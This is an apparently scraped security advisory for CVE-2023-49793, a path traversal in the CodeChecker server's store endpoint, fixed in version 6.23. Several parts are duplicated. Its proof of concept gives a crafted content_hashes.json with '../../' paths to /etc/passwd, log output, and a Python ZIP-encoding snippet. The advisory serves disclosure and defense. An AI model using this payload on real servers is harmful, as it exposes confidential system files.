CVE-2023-49793

CodeChecker is an analyzer tooling, defect database and viewer extension for the Clang Static Analyzer and Clang Tidy. Zip files uploaded to the server endpoint of CodeChecker store are not properly sanitized. An attacker, using a path traversal attack, can load and display files on the machine of CodeChecker server. The vulnerable endpoint is /Default/v6.53/CodeCheckerService@massStoreRun. The path traversal vulnerability allows reading data on the machine of the CodeChecker server, with the same permission level as the CodeChecker server. The attack requires a user account on the CodeChecker server, with permission to store to a server, and view the stored report. This vulnerability has been patched in version 6.23.

CodeChecker is an analyzer tooling, defect database and viewer extension for the Clang Static Analyzer and Clang Tidy. Zip files uploaded to the server endpoint of CodeChecker store are not properly sanitized. An attacker, using a path traversal attack, can load and display files on the machine of CodeChecker server. The vulnerable endpoint is /Default/v6.53/CodeCheckerService@massStoreRun. The path traversal vulnerability allows reading data on the machine of the CodeChecker server, with the same permission level as the CodeChecker server. The attack requires a user account on the CodeChecker server, with permission to store to a server, and view the stored report. This vulnerability has been patched in version 6.23.

Summary

ZIP files uploaded to the server-side endpoint handling a CodeChecker store are not properly sanitized. An attacker can exercise a path traversal to make the CodeChecker server load and display files from an arbitrary location on the server machine.

Details

Target

The vulnerable endpoint is /<PRODUCT_URL>/v6.53/CodeCheckerService@massStoreRun.

Exploit overview

The attack is made possible by improper sanitization at one point in the process.

1. When the ZIP file is uploaded by CodeChecker store, it is first unzipped to a temporary directory (safely).
2. When deciding which files to insert into CodeChecker's internal database, the decision is made based on the content_hashes.json in the ZIP. An attacker has control over the contents of this file.
3. After reading that file, the paths specified in the JSON are normalized by this code: https://github.com/Ericsson/codechecker/blob/fa41e4e5d9566b5a4f5a80a27bddec73a5146f5a/web/server/codechecker_server/api/mass_store_run.py#L442-L444
4. Providing sufficiently many ../../s inside the content_hashes.json, an attacker can control the insertion of completely arbitrary files into CodeChecker's internal database.
5. This is confirmed in the log output:

mass_store_run.py:444 __store_source_files() - Storing source file: /etc/passwd

6. Once the file is inserted into the internal database, it can be displayed trivially on the Web interface. As CodeChecker doesn't distinguish between filenames after the ZIP is extraced, an attacker can define aliases in content_hashes.json.

mass_store_run.py:444 __store_source_files() - Storing source file: /home/discookie/.codechecker/tmpx7hg1teb/root/etc/passwd
mass_store_run.py:453 __store_source_files() - /etc/passwd not found or already stored.

7. The file is displayed in the Web UI if and only if there is at least one bug report in it. The bug reports are coming from the ZIP and the attacker can craft the required contents for this. If done so, the logs confirm the requirement for presenting the results of the exploit will be triggered:

hash.py:208 get_report_path_hash() - 2|12|Path traversal|/etc/passwdcore.DivideZero3d3a7db6520247eaf90719a53d7103e2

8. The server emits the contents of the injected files from the server's database to all users:

[!NOTE]
The file is shown with the contents as it was on the system when the exploited CodeChecker store was exercised. This attack does not allow the server to return the "live" contents of a file on the server's storage — the attacker(s) must recurringly exercise the exploit to keep the injected files "updated" in the database.

PoC

The minimal example that can trigger the exploit can be downloaded: PoC.zip.

The key to the exploit is the content_hashes.json file. The additional files create a report in the loaded /etc/passwd file, so it is displayed in the web UI.

<details><summary><tt>/content_hashes.json</tt></summary>

{"/../../../../../../../../../../../../../../../etc/passwd": "malformed_hash", "/etc/passwd": "malformed_hash"}

</details>

Uploading the ZIP to the server

The communication between the CodeChecker store and the server is done by transmitting the ZIP file in a Base64-encoded string.
Encoding the ZIP into the format of the API can be done with Python:

import base64
import zlib

with open("PoC.zip", "rb") as f:
    contents = f.read()
encoded = base64.b64encode(zlib.compress(contents))
print(encoded)

The result of the compression and encoding can be sent to the running server over the API. When the API is called, the exploit is exercised.

curl…

CodeChecker is an analyzer tooling, defect database and viewer extension for the Clang Static Analyzer and Clang Tidy. Zip files uploaded to the server endpoint of CodeChecker store are not properly sanitized. An attacker, using a path traversal attack, can load and display files on the machine of CodeChecker server. The vulnerable endpoint is /Default/v6.53/CodeCheckerService@massStoreRun. The path traversal vulnerability allows reading data on the machine of the CodeChecker server, with the same permission level as the CodeChecker server. The attack requires a user account on the CodeChecker server, with permission to store to a server, and view the stored report. This vulnerability has been patched in version 6.23.

CodeChecker is an analyzer tooling, defect database and viewer extension for the Clang Static Analyzer and Clang Tidy. Zip files uploaded to the server endpoint of CodeChecker store are not properly sanitized. An attacker, using a path traversal attack, can load and display files on the machine of CodeChecker server. The vulnerable endpoint is /Default/v6.53/CodeCheckerService@massStoreRun. The path traversal vulnerability allows reading data on the machine of the CodeChecker server, with the same permission level as the CodeChecker server. The attack requires a user account on the CodeChecker server, with permission to store to a server, and view the stored report. This vulnerability has been patched in version 6.23.

Summary

ZIP files uploaded to the server-side endpoint handling a CodeChecker store are not properly sanitized. An attacker can exercise a path traversal to make the CodeChecker server load and display files from an arbitrary location on the server machine.

Details

Target

The vulnerable endpoint is /<PRODUCT_URL>/v6.53/CodeCheckerService@massStoreRun.

Exploit overview

The attack is made possible by improper sanitization at one point in the process.

1. When the ZIP file is uploaded by CodeChecker store, it is first unzipped to a temporary directory (safely).
2. When deciding which files to insert into CodeChecker's internal database, the decision is made based on the content_hashes.json in the ZIP. An attacker has control over the contents of this file.
3. After reading that file, the paths specified in the JSON are normalized by this code: https://github.com/Ericsson/codechecker/blob/fa41e4e5d9566b5a4f5a80a27bddec73a5146f5a/web/server/codechecker_server/api/mass_store_run.py#L442-L444
4. Providing sufficiently many ../../s inside the content_hashes.json, an attacker can control the insertion of completely arbitrary files into CodeChecker's internal database.
5. This is confirmed in the log output:

mass_store_run.py:444 __store_source_files() - Storing source file: /etc/passwd

6. Once the file is inserted into the internal database, it can be displayed trivially on the Web interface. As CodeChecker doesn't distinguish between filenames after the ZIP is extraced, an attacker can define aliases in content_hashes.json.

mass_store_run.py:444 __store_source_files() - Storing source file: /home/discookie/.codechecker/tmpx7hg1teb/root/etc/passwd
mass_store_run.py:453 __store_source_files() - /etc/passwd not found or already stored.

7. The file is displayed in the Web UI if and only if there is at least one bug report in it. The bug reports are coming from the ZIP and the attacker can craft the required contents for this. If done so, the logs confirm the requirement for presenting the results of the exploit will be triggered:

hash.py:208 get_report_path_hash() - 2|12|Path traversal|/etc/passwdcore.DivideZero3d3a7db6520247eaf90719a53d7103e2

8. The server emits the contents of the injected files from the server's database to all users:

[!NOTE]
The file is shown with the contents as it was on the system when the exploited CodeChecker store was exercised. This attack does not allow the server to return the "live" contents of a file on the server's storage — the attacker(s) must recurringly exercise the exploit to keep the injected files "updated" in the database.

PoC

The minimal example that can trigger the exploit can be downloaded: PoC.zip.

The key to the exploit is the content_hashes.json file. The additional files create a report in the loaded /etc/passwd file, so it is displayed in the web UI.

<details><summary><tt>/content_hashes.json</tt></summary>

{"/../../../../../../../../../../../../../../../etc/passwd": "malformed_hash", "/etc/passwd": "malformed_hash"}

</details>

Uploading the ZIP to the server

The communication between the CodeChecker store and the server is done by transmitting the ZIP file in a Base64-encoded string.
Encoding the ZIP into the format of the API can be done with Python:

import base64
import zlib

with open("PoC.zip", "rb") as f:
    contents = f.read()
encoded = base64.b64encode(zlib.compress(contents))
print(encoded)

The result of the compression and encoding can be sent to the running server over the API. When the API is called, the exploit is exercised.

curl…

CodeChecker is an analyzer tooling, defect database and viewer extension for the Clang Static Analyzer and Clang Tidy. Zip files uploaded to the server endpoint of CodeChecker store are not properly sanitized. An attacker, using a path traversal attack, can load and display files on the machine of CodeChecker server. The vulnerable endpoint is /Default/v6.53/CodeCheckerService@massStoreRun. The path traversal vulnerability allows reading data on the machine of the CodeChecker server, with the same permission level as the CodeChecker server. The attack requires a user account on the CodeChecker server, with permission to store to a server, and view the stored report. This vulnerability has been patched in version 6.23.